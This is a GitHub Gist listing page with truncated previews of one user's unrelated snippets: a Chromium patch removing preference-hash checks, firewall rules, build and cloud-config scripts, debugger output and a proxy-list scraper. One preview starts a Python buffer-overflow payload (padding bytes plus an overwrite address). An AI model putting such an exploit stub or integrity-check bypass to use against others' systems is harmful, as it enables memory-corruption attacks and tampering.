Skip to content

Instantly share code, notes, and snippets.

@pellaeon
pellaeon / dont-check-pref-hash.patch
Created November 3, 2018 16:31
Patch PrefHashStoreImpl::PrefHashStoreTransactionImpl::CheckValue
# https://github.com/Eloston/ungoogled-chromium/issues/538
--- services/preferences/tracked/pref_hash_store_impl.cc 2018-11-03 23:30:48.000000000 +0800
+++ services/preferences/tracked/pref_hash_store_impl.cc 2018-11-03 23:34:27.000000000 +0800
@@ -156,33 +156,7 @@
ValueState PrefHashStoreImpl::PrefHashStoreTransactionImpl::CheckValue(
const std::string& path,
const base::Value* initial_value) const {
- std::string last_hash;
- contents_->GetMac(path, &last_hash);
-
pellaeon@apua-ubuntu1604-desktop:~$ sudo snap anbox stop
[sudo] password for pellaeon:
error: unknown command "anbox", see "snap --help"
pellaeon@apua-ubuntu1604-desktop:~$ sudo snap stop anbox
Stopped.
pellaeon@apua-ubuntu1604-desktop:~$ anbox container-manager --help
NAME:
container-manager - Start the container manager service
USAGE:
@pellaeon
pellaeon / jenkins build script
Created November 18, 2017 05:34
鳳梨酥計劃
#!/usr/local/bin/bash
set -ex
BSDINIT_DIR="$JENKINS_HOME/workspace/bsd-cloudinit/bsd-cloudinit_master"
BSDINSTALLER_DIR="$JENKINS_HOME/workspace/bsd-cloudinit/bsd-cloudinit-installer_master"
TEST_DIR="$BSDINSTALLER_DIR/test"
TEST_IMG="$TEST_DIR/tester.raw"
@pellaeon
pellaeon / With patch
Created May 21, 2017 08:57
Gluster volume process GDB output
(gdb) set follow-fork-mode child
(gdb) set breakpoint pending on
(gdb) b compat.c:extattr_list_reshape
Breakpoint 1 at 0x80088eda7: file compat.c, line 548.
(gdb) b compat.c:551
Breakpoint 2 at 0x80088edba: file compat.c, line 551.
(gdb) b sys_llistxattr
Breakpoint 3 at 0x8008959b1: file syscall.c, line 433.
(gdb) b sys_flistxattr
Breakpoint 4 at 0x800895aca: file syscall.c, line 552.
@pellaeon
pellaeon / iptables_custom.sh
Created May 1, 2017 05:48
Allow traffic of apps in work profile to pass, set this as AFWall custom script
IP6TABLES=/system/bin/ip6tables
IPTABLES=/system/bin/iptables
$IPTABLES -A afwall-3g-home -m owner --uid-owner 1010082 -j RETURN
$IPTABLES -A afwall-3g-home -m owner --uid-owner 1010105 -j RETURN
$IPTABLES -A afwall-3g-home -m owner --uid-owner 1010172 -j RETURN
$IPTABLES -A afwall-wifi-wan -m owner --uid-owner 1010082 -j RETURN
$IPTABLES -A afwall-wifi-wan -m owner --uid-owner 1010105 -j RETURN
$IPTABLES -A afwall-wifi-wan -m owner --uid-owner 1010172 -j RETURN
@pellaeon
pellaeon / hidemyass.js
Last active December 25, 2024 04:45
Get proxy list from various sites
// open http://proxylist.hidemyass.com/search-1292985 and
// run following code in browser developer console
aaa = '';
$('table#listable > tbody > tr').each(function(index){
text = $(this)[0].innerText;
textarr = text.split(/\s+/);
proxystr = textarr[2].concat(":",textarr[3]);
//console.log(proxystr);
aaa = aaa.concat(proxystr, "\n");
});
@pellaeon
pellaeon / cloudconfig.txt
Created August 7, 2016 07:16
pellaeon's cloudconfig
#cloud-config
apt_mirror: http://ubuntu.cs.nctu.edu.tw/ubuntu/
timezone: Asia/Taipei
package_upgrade: true
packages:
- mosh
- git
- screen
- htop
PhantomJS 2.1.1 (Linux 0.0.0) OCA.Files.FileList tests loading file list scroll distance is read from sessionStorage FAILED
TypeError: null is not an object (evaluating 'getItemStub.getCall(0).args') in /var/www/html/owncloud/apps/files/tests/js/filelistSpec.js (line 1391)
/var/www/html/owncloud/apps/files/tests/js/filelistSpec.js:1391:33
import socket
import telnetlib
payload = bytearray()
for i in range(0,0x28):
payload.append(0x41)
for i in range(0, 4):
payload.append(0x42)
payload.append(0xCD)
payload.append(0x88)

OpenVPN in Linux network namespace

This script creates a network namespace, in that namespace your OpenVPN tunnel is the default interface.

  1. Change your OpenVPN server settings in yourvpn.ovpn, modify the paths to passwd and crl files accordingly
  2. Put in your username and password in passwd file
  3. ./piavpn.zsh up
  4. ./piavpn.zsh start_vpn

Switch to that network namespace with: sudo ip netns exec piavpn bash